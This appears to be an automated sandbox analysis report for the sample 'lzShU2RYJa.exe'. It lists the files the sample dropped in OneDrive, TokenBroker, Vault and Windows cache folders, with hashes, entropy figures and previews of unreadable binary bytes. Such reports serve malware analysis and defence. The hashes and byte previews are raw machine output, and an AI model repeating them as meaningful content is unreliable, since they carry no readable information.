Preview:	SQLit.[x.2B.`....3...}(Q8.'{L7w<C&B.....I.9..rO.C....k..._G+..h...1.e...ID.%.1..}......g2I...7A...xL.....5....:.z.e0m..%......?.;..<......]p..]..0.,.._.}..z...a..sJ(..."G4....K-.+.9.8Uq..%,.....#.B.0..F<.]...)r.4.~7..Yix...H..s".,.....j.Z...@.......[@P..T0.n.y.n....._.?x1.%1...O%.\|PD.Q..&.o.8B)..E.OT.2.8...N..0........v.A.;)e.Hb"$.=Q.,..t%..C.]z.pF..-......nS..!R..T.....j,+.G$R.QIx....*.9...^29XC............[,......#.QVh1=.u.\|.E....$C...m........!x.W...=.$u1...]r.>9.%bi.h..z...].aLc2q.:.G..e..I..!3.K..U....7..d.'.Q..d.r..m. ..... .\|.4m......J^....I......b.....w...{X.2.K.AR...[..t..\Q.V=........c..t.R....r.J.(..+5....Q4..'...W1..W..[.J....z...c@..3HSY..%1.S.u+........t.a.V...0...]...{.....Wz...6E.V.h=#?$.2..^..R . &.Kp.0.{..#].1..]..r.).8b..[...........X?...9K.sa.W.......k..9..u;.X/.......njn..R.T.u.+l..`&j..v..B....L=E,'.S...J..[d.a../...q....N.....B...:..r..".X.R...U./......9,.G.Y...m_.f..'r....&&...`qr...4.MVuS...6...:..A..q#Z....4..+o..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.426002969309224
Encrypted:	false
SSDEEP:	384:olku1d5AHjM2kNVKuDaBwpH1mtOwF46SuLdwg1U5o7erwTovubKR3:olku13AHY2kPampHUEwHBwgiO7esccK
MD5:	19B3E4DA7D196CCD6DC97629A4D7F1FA
SHA1:	CAEAA151F5A960BD709BD370C6D0C523B0BE430F
SHA-256:	73EA36AD5CA7B416B3DE486F3416198AF673BA8B4B3D953627F43A4136E7D636
SHA-512:	DEB42711FF5E04E49D973F98CDC19FDB58EF076E604A0C6E92E9341ECC72C1C3465084B4888D487F490CD5CD806DE9C1F13D26063847D594E9EB8BC6F1C3C5A6
Malicious:	false
Preview:	SQLit.........[..B...A.\..H.}.j../...{".N.kQ.4..7.# ...ZV;qz....q{..6...5#)Mb...j.)w;l.V......s........o.....d..F&...F....o...L...\...B.....6.....^.e}....?+...N..Q{3r.`J.bb..s...F.7q."...-0....b.......J2..V./$.......?.G.yt.n..,.`..?......N...BI.....;f.....O\|.?RZ......#Z.v..?.Y..l.i......%.y... ,U... .os.f... )82...B:...? -...F.q...z./..`.:..5I.9..Ga..OE.,G.W=:b...$....?r.....4...*.........v".J+..'.De..pZ.P..Po..$.GjJU.A..'n....G..I(Y...n.<...e.4.....U?.m.:...../8z9!..P..]D.V...}n...8t...k..]...7.../.h...[4..P.S.....y.T...a.J.9..........t..W\|..<..hw....IC...k...........(..wM....e..N.b.....Q.........Q.?..<.~....h.=."./.e9.....c.v.....V...H..kF..%\%...#.{..9.?...0.&.o.e..'.....'Z.I.$.J..y..!I!.F....y...-n.N.4...[.....2..............t..o.....,.5.V.`<".......GF:...KA..Y}f.}[.kZ2}....\.E`L\|q... ...k....Vx......h...ri.>pw.....{.....VS.=.s.{7..nAR.%.....t.i.....NB.._.I=..c6i...C............8..S]H.....L..'#`....9v.....).,...$..P..8[U..Rm......z.9-R.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.6632205404244665
Encrypted:	false
SSDEEP:	3072:9GdbmQ1DfaMxPG0cAVHV3bLSwS0PZoh4EjOSjRYEOfOINkxcxoRQ7o:cdbfp/pHVRgxpGJOIyxcnM
MD5:	C5C710299D0FF12812B2B60799942F97
SHA1:	48364732E2639C01CD788F0C29F517E6D3E493C6
SHA-256:	47AA6A3129BC113BE64A5F24E7687EF43A5676302E46D6F150258D58F5DC4377
SHA-512:	B0AA9258317EDCAD7575A89ADF1F4AEAB94FB660B73FEF46BAB4B4CFA56AFEAE97199DED4164D011B02B1158F1299870CEF13B9599A2CD316E2B6B0F6D3523AE
Malicious:	false
Preview:	1G.f..EV.G...xB....:...WA.6.f(.OZX..~...2.c.c..J!.....gSAg..cU.g9.T....g.x.:$Ko..h$..)s..>..i.1.z.C>.d.u.wV.Ia..5.~.TDTRo..^Qs7H2...(...1......c.,Z.J..,.!.,zn?..jX..B..Z....;R....r.....`....u....6....T......+.;.@.c..n...E..A..5.q.R`...d6.G..'..&.b.SA!vx....z.W.c....LBD!5..r.W..\ DC..S<...v..G...a..I.Zo......c'.$.w#.Z..I..9\..^..A..4P....d.w...ZQ.s0.......%M.<.\...4.....;.sFl.,O..-O.....8%.....d.EBD..5..#n....%.....q..1.i.tY....9..EDd......Q.D.9..`L4\|.....z.51C...$~.Y.Yto...o..$...p..H.."P.?4..M..J.....d@...i1.9......O\...%.0 {......7B.4...V.5K.g.z..Y9........M.lt........n[......l. ..+...S..e....qB...L`S..5...w...t..AJg#f/v:.. s.......,.3k<;6h.~..C.a<........:..I..,.M5j..`.%.B=.h..@......vOi.Sc.b..x....~...+.:........qkJ..3n.0..Y.3._...bJ.Q3.2.6../..D.h.....K.,.... .fq.H$.(..e)...l...jP.^u.$K(:..;.S.......".+..L..R......jJ.s...........#....c1=......S.#&.)Lp..$.<q...\Q...6.tz...}."..{H....1_iT.../...8.=.B....eE....E.......P'..(.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4278330003113626
Encrypted:	false
SSDEEP:	384:v5/jIdNKFslM1CGmPOaNTtdWeRyzc5oOElZz2VZvki0qQKo:vdEHKFsS1CZLhgewAoZi
MD5:	ED00CB172984C07D84BDDA2D4A86DD2F
SHA1:	4DD56AE118F28B9B1FFD2C18D7A4FC404579C984
SHA-256:	DBC36D2BA582167181B1C379E947268887A04E02B7DE28ECABD7E665D94D2AA1
SHA-512:	3C2CBCA81860460B064A9ACBE060643B0D5A8EA9D9E8744E492D073ADB79FCB505C94BEE2409EACF63095756DD4B81C7863D9CDDF24F16C15B08F4FFF56135A6
Malicious:	false
Preview:	SQLit.l..$n$.Z...^..h.....f..D....i.\...R..p4/.....h.......(...K....Z..y..x..^.;B._.6...C.7.......8....].....j......h...!P7d..#......-....X..(..>.UU..a..DOU.H..rN...\..!O.G..6.......A.28}.T...x......J..t.1..B..gb.M8...R......kG....~p.5.\|....Y.."..365".....\|..... .4;.C.+O...H.<..Y...yZ .....uG.G.......p%.-..x..`..N..e..H.\..K2....;.S..O5o.9?H.hR..O.{.x f......m.e..hb......"H....W=8...Y/t.).;^<...f..o....$(........M......D_.q.S.6..r..0w...9@p'U5.L.vw.....".U../p..~z....].R.\|......s&../z..~x...y........o6At......t..."u.:.}.!....B....#e...K...."k5p6K$U(:....^.}.%..5..G=4....e.x..}..)..J../.....~.\....k....pO.-T....Z'....^~.R.`...6:.N.WWh@z.........p`.@1.wB.b..\? .C.....&..K.B^..$K...=sB....../k._}...M.OE..X._.k..o...Y..Q..GQ3....r....p)..!...m...\|,............0...O.'.K....tg.]...`.... .....(n....z.~.....U.......-Sf.F../(....qF;...x...9....C..S.O...........r..B2-n...).ob...r.\.....{..y.;..l......^UE.r.ik..@.._.z.....y3&....e.c.om.....#V..

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.832638474147302
Encrypted:	false
SSDEEP:	24:Y/u4v3N9fTSsppZIF2piAN6M/YPFfNukTa+JGPA5r5OSVbD:Y/uc0sppWFQiAEM/c1lKE5OSFD
MD5:	D86F241924B553C426A2D95860E17996
SHA1:	EBAED39236E0A132FCFF58614CD0513523C6382A
SHA-256:	D8F0C614339C09B2CB2A6CA7543D0E6113C502BE1B5D88BCF30E3C5DE436EE89
SHA-512:	D0667B1DF0437A023647F4CB83578A5CB098CDB6A46671686247CFA67371FF8FA7D712E17BB6BC665A0FC9A341C6153DC5730AA902D8F487C8A3E2E8AC78FB69
Malicious:	false
Preview:	{"Rec....N...,$. REk..}R...P.........{o..-......U....\|.........-b.W..'b.]va.G.az~w..n.".(\+8c........5}U..O.@6.0s.T...U.p5l.t5U1..............U....._._Q.H&..H..f.twZ\|...K0l.f.Z..8TC.H......_..".... 7.9.x.j......e..i...&B.U.R..........I.Q.sR1.ZG...6..U.A.,..!..NWg..h..<~.&..cSEKGF,1...........ci..M...Y>..Q.z..&...Y.P.;.&.F=D......4"..}..}..}..P.b..1(....E...2.....b.{.U...c.......%Se.z....k....FW?....k.".j....n..@.TO....!....7.Y.."k`C.?..:.'..1..=...(@6\|_..R..EKD.....@4.T@.S...Uc....x.~..vQ.......[..2]\B...lk..\6.s..Y.2......i..V......v'....6.h.;....+..9.O....W...TX.n................7%..\|...7C.l...5.....p..>Gt...0...c.)U1.u..".T..{`+[(/.....7>.............3..6...C.u.zp..;...=...QG.T[.F..A..-2..z. .Z.....-.....=..W..N.....LJ...G._.4..OZ...L.N...V..&?...O]...=....3...N..r.%:......W.....;.0..tk....W.....$....;.Q.3f."....*).s.1@g.......M3d.......n.A......W...+0...a.....Fc...#....o..I...~...8q......p..z.S.p9........._V\%.{.._..a.\..,.D

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.926102456840987
Encrypted:	false
SSDEEP:	48:oYAbK0zyFn/AtOGGuBDxmpJFmlbLmNyHkrqpABiQp3dcBqVomFD:oYA2OSItDG2DMRmlDHeqpOtp3dcBqVoG
MD5:	0E2CCDA030B0776844A5FEBACAA46C9B
SHA1:	45C4C79BA5C0B404693FF87FDC879792B0FA8AA2
SHA-256:	423782B2F28C74514883C610CBEF1BBBA6FC6303BB76687382970CCB44714138
SHA-512:	BDBC9B2055475B7840D80B0F98376340E6C2BDD8DEE6C793DDF7483BA495FF4AE363BCF2EF1F526475815BB4BBC5FB58877A060697B57980478444E241F1DBFA
Malicious:	false
Preview:	{.".T.<6."1..?.9.N._\|.B..n.:......2....O.f...nk.(..Q..;..).-t..U...e..[J..sNZ{W....wX.ux>@....7.T ...t.fk..D.......2.cS,..[:?.y..(=5.uY-U.Z..D(....`.j..#.DF.Q.....=.......f.!..\|...0zA...{...bt.[.....A.f.....B...o.<.6....3o..9}...[_.....C..h.{.....1.....c.v.......q...j...f..E\|I....R..e./.\|..s[..{...!...:.^..2z.=._]..Yy..g}.y\...\|?O.}....xP.z.. ....Uhg..~w.....~:.b..h..+.....=..=%.b~.;..7T.OD`.`...oE.4.s?......w.8.8w.......H.......i.=.&.l....A...B..]..\|mU%....]Ar..BD........qv1P...)....5D...&."..U..\|.o..C.^..<..I..q..Y<M.tH..(.......C....?.\|..(.6.2y.7.e.-A>^8Mp1..7..."T.X.'...A..1..........H.Zz...... ...q.M.=E..s.n........{/....:.W8..f.<...].[iv\|...-.Q.......}.......n.....L..8.I/...]?...f.r........H.a..=I.B_.t.J..8.^...M.(...,.M...W.q.}!G...,....W7.nR]..H...P...>....%.{...y...@Y.~Y...V.0....0...E.2.1."K.r.-...$_3UH.....=.....w..}8i...Ds...^.=4p<).,/.;.......J.i.AHbn.._.&/.]..qM..i.=..Vu.C.."....o..B.&F...Q..W.T..j.4@K.3....x.F.#...

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.933203540637368
Encrypted:	false
SSDEEP:	48:2XOhAOc15h7rQ519zaNpgWBDAfx9qnmTJ7ws6KKKecd1DidgkuRkiL2vsASFD:28QK5rz0gWe9qUPyg1kgfr2vhS9
MD5:	46FE2FAA4F6658FAB96DDF86D008D57E
SHA1:	6952AA5EF9C432B01817D25B2D240829DBC1721B
SHA-256:	EE883034261EA785FE38F3E4DC2958D49C79D152B4DECB263EC933B784B51B1E
SHA-512:	B778F43EDB693AA24BA473F7C0977A7E23823460FE749F939937091AC34FCCCC92DC89BADF96A4735347DB37A69A8F004E3AEEE1B4B43B38B62DD2C05E970BD2
Malicious:	false
Preview:	{.".T...X.;S...`....T.... .#..[T.w..LU..e.........9a\|H.0F.g..uy.'........+.vd,^..,r{.........B.B..P\|..X..C..8..}...).S..f..%.A../.}.....gr.m.....]....6.2..1...g.;....ka.l......p...O.hf-..\(=............F.d.>:..~8.ncx....t3\7.W.............\|.G;..f...^.s..8....u....W...,.. ....v..V...n.i..\|.......i...2.t.K...9....5q...s..b^..,h..\d...S...pi.C..O..`..YS.y.8PC.....g..~............PF)..Am.D.L....xA....,2....-..-.mG....s...L.$..<9.O.@.-$^.O.n....gc.-.AO..7Q..5S.d.:...w..+.............)=.+AC.\..Wt..F....U..Z..`..r.....e........\......4.Il.M;..(...-..;..7V.....o...51...x.r.Z..I...R.5.:y.kWw.8Us.........k5(w.Z..O....5#....Al..".9./o.S;x.h(....J...S..^......&.w....C...A.3.Ez(..<.. ..v.A......>?.z.t5.]..G...G..p..b.?..d...c../u....M.>r.O..D..~..D.!w.[..+.c..^.Gr.../i..T ..P.-V5...x...I....~.x/1.........L.\|...t.....UZ.V..6$t.q...;....l..=V.LD\|.U..T...!..:`X.wo.....7.^....H..m..1..p..2Y..<s.?ay.S~..#.S..F.F..m4 ......c...,.\|eK<....Bs..W..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.962095153947071
Encrypted:	false
SSDEEP:	96:+f7LdpIWgYW+DuK8Y4FrTcmuWAFOorEXcJp/gB63FT9Vg9bhkmx0L9:+f7L/IWgZ+DuK8YirT5AhrNrI63FTrkK
MD5:	286950743D902E6B55AE633085F58441
SHA1:	EE27BAFCF675C7FC5F2A77216FBCB7D8ABEE1CC8
SHA-256:	D7FDCB5224AAF1B497987E01462773CF846F09CE4B0A2443169082BF15C68AC1
SHA-512:	5E661889F7400EEA477403A537BD2CFA89B9C8CDAD6537F0431B048A9688405072C11797AADF119559490BB43189E792C4463018BB87919683E30F7B4C4F9C6B
Malicious:	false
Preview:	{.".T....5I?A.]...T~WG./LM._..:.P.....g..>...o.(V{CD&.+8 t..)..+.+.Dm.A..g..k...z.....;CZ.aUy..4...=...W..A${..L..y..R.{ ._g.#....H...9.......7.h..t......$.!.O.....J.Ez3....6......(..m........a...5>b...ze.~.L1bX.....f%..D...[...,<...I.j%!0.V.._.'..(.......r....d.d7u+.U.Z...,a.'`^..e.k..O.6@L.....3..;..(....V....2......Do..(.,.W.. rN..@.}3....H-.........R.H...h%..Y..x'.R..>..%..N...b..".$..^.....\|.~.#)...WVy..B.^V.......K.fn1YG.7.e..d...,J...)...tsj...."..U.d.p...vAi...%.p\...C..!..D..\|.>G...D_Z.9.s+.v8ar..zK.....B...2.'.?....?H..@]......$@U....s.9ev4..l[..n9..s.d9.M .....* ...T.[.....n=mr....6,.5.Y....-.p....FO'...b .1...M....V...N...G...y.G..QB.....F...n...B.i.n.....KG....(.C\$.E.T.c.$...&J.....?..K.w.$bH.J..v...........J.....<9.V?..4).....\|..<.a..y...d.U.....^..2.....}.X...l,`&.k.+^..l.=ute..a].o..mJ@..9\_M...#X.d......;.9#L.Oa....z..%..8.1X....VJ..s..J6g......7.8.=.....$l.H.U...e./M.Kp.!..U..W.....Qg........bh.v...\|.LSF+..m(f

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937844903218355
Encrypted:	false
SSDEEP:	48:e5bs3kIiepLRwJSK/EQb630V0kbSqrfsoVQ1W576OD8I2crHWbtsWhP+usVN4FD:Is0Iiu2JSGeO2Qk1U6q/2mHWuN49
MD5:	E7D6C8D6B758B1B8D4CE8D833476F467
SHA1:	6B806FAB87FA920676DE2930CA81BCBA7AB1FE23
SHA-256:	011324F339A04A7D2284B82A53117FF0E83BEEDFB7530FDD8576AF2827FBE3CE
SHA-512:	B92A24F2B229CC4B0FBF7377A0023B0CA5378901F33E90108FAD0C3F6795D7D1648AF4C6B68FD84E45DFE67A568CEBB6E65B4F7941432021901C8E3F2A7C7D3F
Malicious:	false
Preview:	{.".Tj..:...,.........ZK..'.^...)8..<).n..Z....a.~.......hP^..>6.w.$-.P.d~....+.:Wq..._.........A.).Z5.l.......W....u...f?c.z..]x.Ld.1.......>.".x~.C./]...YR...X...]O.aa...7......s.s.......O..:...a..'3q...{,....9..f.<.Oj ..S..K ..5.a4...,e!.}..VF..#.v.......7.....N..Z.:(3..w.]....4....~.Y..TJ..).$.K.G!.3....(.....b....;.;..>z>:&..du.:..i`..........w......_p.Q..T.<.....m..........)!y.....}.5...#...jW..<...X.mc?..ck.B^x...A....8.=..8.._\|.5......x.~U.q/.9X#."..{.U....Om.*F.5.......<.......kwEu.g..O.T..........?.Nxt.1.....[Ilbi..].J..L...@3b.L.+6W.}?.1txG\.'0.ab...[...>-.EZM.CNg...tp..........G.VoPh7?H...n!n!.k..T..U.&.k....)9<.o.ox.].....-...#9....85............B.x'..:.t.$..P(D:>...=.A..\...J<..5.9..{{...k...o.7..JP.;...\|..%......mH.\..;.Q..w......E...A........s.....2.R.9.... ...J..u....MV..d....M7`.....(.l#.mp..{$......-U.0.Z...2..M..~PV.8P..Q.@lv.....V..?..2V...t.}.:....\|...]w..B...\i#..c~../cy/=""9.".........9.....%..Z.q\|./-....5+..A.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.908998087147564
Encrypted:	false
SSDEEP:	48:EudP+u7RkgZeTwHmDBDmbfcVdn7LGTxXQ7elbDqjhPoFD:EudPf5ZeTyUkfkd70xrlbDq9Po9
MD5:	78ABA406B92612B42BC88FC950472984
SHA1:	71CC2B009DEFFF1A8295DE55DE585971E45D5B96
SHA-256:	31F5D23223232142E0810CA478BF064F244EDEE53C55BC769E570F5AF8CA75BE
SHA-512:	2891ED2BE2A1A9909B29274F898D8A22E243F1A2A439FD4D2C5AE0D873414FCD2D8667408A1D391065F76B29753AAE7703FDD0503F1278064BEBFF1CAC693265
Malicious:	false
Preview:	{.".T.L..P..m._k\8.O.<......a.#.u..p..<.40.q.@w...wi,.=>.e?..f.k.1<.p....W.....VK...(.........^.......`:..%...D..>.@R....<....z-..22....S.....J_.C...o..[/.....R7....B.c.4._...q....B.6..a.<<\|o..=/B\.BMm..3E...>....-...,-... ..-..RPJ.A.F...~.._z......wy...6..9N..9w.uO..;._CpY...W\[....;.Nu.$.g..I.R..!...p5c.e.}...]..qD\|....Hu...+.A...\|A.o.8..$w.......![...... ._9#.k.[........@... xAw.R.)...Y..2.....k..]SF...$.G......2........g.5...........HC.iJ.-1..Ua0E\F....!\|.].../.>.3...v..I@O.y.)x.{..AiMk.....a...~.L.n..v=.A.............38....M.d.:^.wW.. ....>..A..g.........'7.<.dk..5.?..>.D..R+.3..tv\~.OM..PWi...O.k....x..el..N....?NA........x.x\&1".486...:t.^..y.]..z...a,1mA...y..pQ ...0.6v..pd.5..0...l$Y.3<.e.....L...N!E[m..crj..&..b...v..._:..T.D.k.....DD.>.(h..........pUzw.C.....Z...?.9..-............Ya.;.......8....._...yE.9.`..RV.?.3gI)........~2....-x...J.....p.........8.s.]'^.67...S...g,>.5.]..I.t=.3....h....m....8.7........;.a..:Q.>.......*.l.#

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.739281132785001
Encrypted:	false
SSDEEP:	12:Op8f02P2xoXCSA5MRh30kf4OxtB5CLGEtyxYC7csnpM0urX6FscudNC/1seMoej9:Op4TeS/wkAItQGaRky/PC/+ycVbD
MD5:	C8894424B48D012EF5A17A33455584ED
SHA1:	79376A77D01EC37A8FC0890232C6FBB94B76F00E
SHA-256:	DD42E23F23395BB67EAF09668D7087B13F5A6638357A9571AE769750FE4BD3C6
SHA-512:	B27EE469E1F73E132DBF622B56221AB95AF02AF5B5F2AE9260788BC078A4E12A6C68EC22859BD0130604DB339B09908A1966DDE926B8A60C3D727790847A5006
Malicious:	false
Preview:	....B./..(/..+)....uT.). a..B...3.W~.....?..Q..!}V.......XyY....'...!...9."j...>..M..@b..R.=..I.N.4.A..k_\5......o..x...GY.K....Z&?'wR.....n`..?u.3....H...u..7..s'.....<tWK.t..7..#}.K....I..p..0.. \....^......t...h.j.J...&t_.x..U .2PWx.G..Qd.Y..i.1..=a..'..c.....U....(\......j......u}.0......)9.6#RfWe..3...=5..Bqx.@X9\|\..6.G...9.mM..(.=.?.....e.=...'q.E.A....L2U.].G..j.w+O..,.Q.....`:.._.....>m.H-%..v5..N....Q:...a`...8 .G...c.7}..&....(;..k........h.o......+.25..........P....K..v.m...S.....1.l.}Q\|."...B.d..J....A.=Ko.V..tG.9.F..fC.e...e:j"t...g..wn..#..z..S...r.=..y6...g..-.h....Y....$.Ys.U..4.Me...u.J.t.b..FE;HhW}.A...g.)E..PC.&..0@....nB3.'%..n..O..Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331948455763299
Encrypted:	false
SSDEEP:	6144:aJMWe3Xw1tCfWYJypIMy0x+5oVwm+vyJfbnQkK96B88yKv4bWTmTvEiLS+:EMt8cf5TMy0IoWm+6dF4/V
MD5:	832A2BBCA17DA1C964912F366F8A4A16
SHA1:	4D2DA524F84B936D9A30A532BA1CAA228D22B9B3
SHA-256:	01B61C61FD6AC5F5830E683C3A880F99923DB4434B061005F0DCA36FDFC85582
SHA-512:	8A6F201A077A804DBF333C618ABCA686D8B341288B5799DA353F24D93CC24CFA1D799C6A85AA85101AE9060ED996E6D70C22B6CFBDB134B188F31E7B273C6F3C
Malicious:	false
Preview:	...P.4_}6B.8P..1..}.6P.].....rU..e....R......f~.'d.....=-..WU8.pq..`.:_.BX0..dQ..8.gS..{...z.${)..@.eK.%.-<.w.....(0..w..Q.S...?..Y....\`.W..s.9<...HK...... h.q..Te.P..i.Pe..Wo.i..>j..F...'M..].k...Y;..8.X.v}e....r..o..Ch....X....y.......,<X...mF.uP@.h....8....P.<r`N".SI.j.h..y.t.....C..A`m3GR.........b.y?.D]..A._..yw...........DB...g.e..<.L....zh..+uLHJ..d.'.~..3?...^!.J...%.-..%Oh..L(WB..#.{.1...R.).X'...Q.$.6,.-.....u..5.P...].w..q.<.>..\|..".q~-R.....\N.J.......A4~......Z.`....=\|.>.L..d>..]).IK.!...K...X....J.._...U.O..0........gk..LJqO../.a8...=.:.d.[...7..6.K.4.\.?..]...1/..Mf>....'.ZJ g.On)..../....v....m...^&X._P...n.Lo..(S.&..O..h..l.B!#.=.{.$gI6o......0.r.._.....(..K.ze...g....... T:.M"C.{.s.=..........S..jlG...."[6..F.#.).M./..b(.%E]j.A.....t.......2....`..H.V..4.ct/*...).\.zH.@^"..H.n.~....v9..6..`.f.da.6g).y..u........)..W..F.V.Lb...u... ..jqA,..n..6s....e..SX.....H.7s..+.r.g{I..0..S...R..gv..#.0......t.?.h&^r...0,.zh..}#.X.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989551962441958
Encrypted:	false
SSDEEP:	192:McN702m+BCfBJ9hvOG86DGdUeB0VgznYrDrXOY81S1R7EPFwFECpbfXdY6UP8hCW:Me1mlqzdigbYvrXO/JIPKVWK+
MD5:	4F9C18FF107B65AA93CC9DE9D4A1C91E
SHA1:	93B87366288CEF44EEA42C63CABD5D1C0963609F
SHA-256:	7500FB844A39E47FE22033237F6CA9D53DBC69A0625F74F0E4E5ABF8BC79ECEE
SHA-512:	EC7C5A70144E218B0E4BB132174275FDFECF438AC6CCF575D04A444C0F0DE9393034A1DCFCC57D640651F6D48D05F38FECBA3A4EE76CAF8574D7AB6B23B3D31D
Malicious:	false
Preview:	.... .7....}.\|=$.e...$P&..j...j.Z.......L..5.^.>.k@..;.k.2..\|..!W'!..Q.F..Q....n...%...`y..H..E.........T...Q...Qq...2..7`8Y.r.$8...._}"2X..z.9"..w.sq....[>..Y..9....%..K...:.`.......1......T;.W-L_...o..\..1..=W._....qtL.... Kk<..._Wh.x.>.:........kz.8C3..Q...b..-.1{-X...._..Y.;@..$5WC....z..4...../~..6...1\|KZ....z`.....`.!..f..v...+.Btb...Rc..S.g.fN...xf....%.~..qW.r..d..cj...%s..S../..c.`........\|..E.0..&.........(......E.U.......[....v.4>.G.X.....n. m..3m+......P...@.,..G).G.sV..........."]f.C..\.nJ./.#....7./nP...(...K....B..!../Z3.-...h...i.\k=.]....7L>...`5..'.....5\e..:0&.=.....?A.dC.Hx.K..1........?_...n.P....h.D.v.I".p.g..j.m.....z...).QjWl.x........k....!......?.g1..mS.........%.@fl...w.q.c`...6..^)Z..h'...l(...8..?...=;..{.$.\w...=....<@.B.u..R.....M]DE.uf.1.3......a...a....[.9............/..NhH..Y..QK...f.ah~...q.b.29P.bV..V}....,.,..u......M.uCk.V.c..q...o..l... ..,R^.$4..V.....=..i.s...cL?...-.J...N....z\|..........eM..4;7..b

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988250349391573
Encrypted:	false
SSDEEP:	192:RdW07riGp7kt1fFusnxekYjpyl5ZcVmy2diatzsd7U/LV9dEdBjwdJTrKNaMaWgR:mQiIqhnoW5Zm/8i8RkSTPDaGbr6DRUp
MD5:	93EE018630DC32135750A182EF3CB805
SHA1:	C9D9FF2C37FE936349EFBAE033FE97A41EBF8AA2
SHA-256:	88F97B03051BE02F4D0F0CF05418C09EC09F78DBF465CD1B820A164CFE6A52C1
SHA-512:	D51167746BFF528D735F9A22A90D42681E5352E4BCCC4C632C4FF73CB2A68C8FC1D7B03C8CF329AD07250CFEEABD50A4620D7E30E5594187AC69C5AF7E3AC6F4
Malicious:	false
Preview:	....`...6.(9jPFE...,}:...<.....o..=...)......T...iu.f\m\.....l.....Q..#.\|1p....1...........15g....D......q..x.!...xI[,T.....5...I0+......$....c0..@.=..=.).svz..9M"..y.XU'>.....#..d._.....7&..U%... ,...k...........l.x.....F.A..).V,"..6..F.I..2...0..8.....p.\|..1..;..E...+{.!...y.,...jO...L..]....>.....z-CWq..... W..}......l.....f.98..ZB.(D.Yn=.K...J!...~....z...N....)....#.4.....<R..a..H..t...$...>.^...P.Vo80k.Ib.......2D.{Nv..Y...Hj....\......L.Pq.<P......e`L.H..."1Yi%....H......C..[kC.)._..l.mk.....t...j].\.4.L..p.#./....Gr.c.#.F.7..yM.1..zq...# b"...b/..X...Ya)...._...(.......2`...z.G..)u...#.1....V.......6.{S..u.'.U%6.....r.....`Yq3.r.@....Av..e...z.....\.6...rt.$7l..z%.;Ba...n.....<U%...9...B?=..{V........}..i[.4.@bD...`.4.f...#..zQ.O.j.. .k.5..v>.../../0fn....&#......n..9C.o....;n..H.p.K..9.i.w%.U x.`...o.`y.....+?./.?.c./......w.C.......L.....`..=Z..]]..$N.&.>.X-.<W....{f...~..s...-<.kM.1.#AO.O..[WyS.h.Dr?....).....%.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.332596280334604
Encrypted:	false
SSDEEP:	6144:cAMKRv/sp2R27eUQ6gt8KoPm+vyJfbnQkK96B88yKv4bWTmTvEiLS5:cAMKRvC+26l6u8tPm+6dF4/u
MD5:	3F514DD5CE9197C30B9889F058BAD1A5
SHA1:	72786D0ECB77ED6172EDF514961A9D89E4F18749
SHA-256:	1920B1B5D358350B6F0808ECED4C54E562871BFAE6C4953271724070590FAE8D
SHA-512:	4A772F78892278338A411CA0A07D42AA88DE5C74C35DB54D72895DC0A540E9A0884082CCB43F843FF60CE8A247A193818754CACCE770F5311E61DAB83463F9A8
Malicious:	false
